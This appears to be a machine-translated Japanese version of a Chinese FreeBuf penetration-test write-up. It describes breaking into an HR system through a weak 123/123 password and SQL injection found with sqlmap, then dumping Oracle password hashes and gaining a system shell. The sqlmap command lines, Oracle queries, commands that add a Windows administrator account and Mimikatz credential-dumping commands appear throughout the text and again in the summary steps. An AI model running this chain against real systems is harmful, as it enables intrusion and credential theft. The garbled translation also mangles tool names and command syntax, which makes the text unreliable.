0x01弱いパスワード
特定のサイトの情報を収集するプロセス中に、サブドメイン名をスキャンして古いシステムにスキャンします。
これが2014年の古い駅であることを見たとき、何か間違ったものがあるに違いありません!
毎日使用してげっぷブラストを試してみてくださいが、破裂しませんでした
しかし、すぐに試してみると、良い男は123/123にシステムに入り、彼は運に満ちていました。
(高強度コーディング)
ここでは、「エディター」担当者の許可であり、アップロードなどのバックエンド管理機能はありません。システムのさまざまな機能を辛抱強く実行することができます。
0x02 SQL注入
システムを入力して反転させたため、機密情報漏れはありませんでしたが、SQL注入は人事情報が調査されたインターフェースで見つかりました(Xray Passiveスキャンでスキャン)
http://host.com/xxx/control/searchmenhuninfo?content=123
現時点では、手動で検証する場合は、バックグラウンドクッキーを必要とせずにインターフェイスに直接アクセスできることがわかります。これは、不正アクセスの脆弱性に相当します。
次に、このsqlmapシャトル、 - クッキーパラメーターは必要ありません
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - current -db
ライブラリ名はこちらで、これがOracleデータベースであることもわかります。シェルで試してみる予定です。
ただし、私の毎日の浸透プロセスでは、Oracleデータベースは一般的ではありません。 SQLMapの-S-ShellパラメーターはまだOracleデータベースをサポートしていないため、できるだけ早く学習して販売することができます。
0x03 GETSHELL
最初にこの記事を参照してくださいOracle Injection -CommandExecution Shell Bounce
Oracleの次のバージョンは、注入を発見した後に実行できます。
次に、SQLMAPを使用してOracleバージョンを表示します
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -b
コマンドで実行できるバージョンに沿っているようです!
別の長い学習の後、私はGitHubの男がOracleshell Oracle Databaseコマンドの実行に統合したツールを発見しました
ツールのスクリーンショットは次のとおりです
コマンドを実行しようとするために、データベースSID、ユーザー名、およびパスワードを知る必要があることもわかります。
その後、SQLMAPを使用して既知の情報を拡大し続けます。
データベースの権限を表示-IS-DBA
データベースIP、SIDを表示します
ここでは、SQLMapの-SQL-Shellモードを入力し、SQLステートメントを使用してクエリを使用します
クエリSID:v $ instanceからinstance_nameを選択します
現在のIPをクエリします:dualからsys_context( 'userenv'、 'ip_address')を選択します
すべてのデータベースアカウントとパスワードをブラストします
SQLMAPの-PassWordsパラメーターを使用して、データベースのユーザー名と対応するパスワードを実行します
長い間待った後、結果が最終的に得られました(架空のデータはここに記載されています)
データベース管理システムユーザーパスワードハッシュ:
[*]匿名[1] :
パスワードhash:匿名
[*] HR [1] :
パスワードHASH: 6399F3B38EDF3288
[*] Sys [1] :
パスワードHASH: 4DE42795E66117AE
[*] Sysman [1] :
パスワードHASH: B607EEBB3A2D36D0
[*]システム[1] :
パスワードHASH: 8877FF8306EF558B
クリアテキストpassword: sys
一部のユーザー名は対応するハッシュのみを取得することがわかりますが、ユーザー名システムの1つはPlantextパスワードから正常に尽きました。
Oracleが一般的に使用されるポートをクエリします
Oracleは本当にそれに慣れていないので、Baiduはポートをチェックします:
クエリは、サーバーのデフォルトポート番号が通常389であり、クライアントのデフォルトポート番号は通常1521であることがわかりました。
わかりました!これで、IP、ポート、SID、ユーザー名(システム)、およびパスワード(SYS)ができ、ツールを使用して直接接続できます。
ではごきげんよう!取得したシステム許可!
0x04さらに害を証明します
ユーザーを作成してみてください
ネットユーザー名pwd /add
ネットローカルグループ管理者名/追加
リモートデスクトップRDP接続名/PWD
接続は成功しました!
Mimikatzをアップロードして、管理者のPlantextパスワードをつかみます
特権:Debug
sekurlsa:3360logonpasswords
最後に、管理者アカウントRDPに正常にログインしました
この時点で、浸透は終了します。
0x05要約
弱いパスワード-SQLインジェクションゲットシェルゲット管理者権限
1.サブドメイン名スキャンツールを使用してターゲットドメイン名をスキャンし、人事管理システムがあることを見つけます
2。123/123の弱いパスワードを手動でテストしてシステムを入力します
3.バックグラウンドクエリ担当者にSQLインジェクションの脆弱性があります(Xrayパッシブスキャンでスキャン)
4.現在のデータベースをSQLMAPを介してOracleに実行します
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - current -db
5。SQLMAPの-OS-ShellパラメーターはOracleデータベースをサポートしていないため、sqlを介して機密情報のみを見つけることができます。
6. Oracleバージョンをクエリして、バージョンが10.2.1.0であることがわかります(Oracleによってコマンドを実行できるバージョンは8.1.7.4、9.2.01-9.2.0.7、10.1.0.2-10.1.0.4、10.2.0.1-10.2.0.2)
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -b
7。DBAアクセス許可であるデータベース権限をクエリします
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -is -dba
8。使用してデータベースIPとSIDを見つけて表示するには
v $ instance //query sidからinstance_nameを選択します
dual //現在のIPをクエリからsys_context( 'userenv'、 'ip_address')を選択します
9。パスワードダンプはSQLMAPを介して実行され、ユーザー名システムはPlantextパスワードを正常に実行します
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - passwords
10。同時に、データベースサーバーIPがNMAPを介してスキャンされ、1521ポートが開かれました。
11. Oracleshellツールを介してデータベースにリモート接続し、システムコマンドを実行する
12.コマンドにユーザー名とパスワードを追加し、管理者グループに追加して、レジストリを介してリモートデスクトップを有効にします。
ネットユーザー名pwd /add
ネットローカルグループ管理者名/追加
13. Mimikatzを介してシステムパスワードを読みます
特権:Debug
sekurlsa:3360logonpasswords
オリジナルリンク:https://www.freebuf.com/articles/web/284911.html
Recommended Comments